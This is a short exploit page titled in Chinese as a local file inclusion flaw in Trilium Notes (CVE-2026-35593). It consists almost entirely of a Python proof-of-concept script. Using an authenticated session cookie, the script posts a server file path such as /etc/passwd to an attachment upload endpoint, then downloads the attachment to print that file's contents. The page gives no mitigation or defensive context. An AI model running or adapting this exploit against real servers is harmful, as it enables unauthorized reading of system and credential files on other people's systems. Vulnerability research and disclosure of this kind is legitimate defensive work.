CVE-2026-35593 Trilium Notes 本地文件包含漏洞

import requests # Target URL and credentials TARGET_URL = "http://localhost:8080" ATTACHMENT_ID = "-xxxxxx" # Replace with a valid attachment ID SESSION_TOKEN = "your_session_cookie" # Authenticated session # The file to read on the server TARGET_FILE = "/etc/passwd" # Headers headers = { "Cookie": f"trilium.sid={SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Upload modified file (trigger LFI) payload = { "filePath": TARGET_FILE } upload_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/upload-modified-file" response = requests.post(upload_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully triggered file replacement for {TARGET_FILE}") # Step 2: Download the attachment to read the file content download_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print(f"[-] Failed to download file. Status: {file_response.status_code}") else: print(f"[-] Failed to upload. Status: {response.status_code}")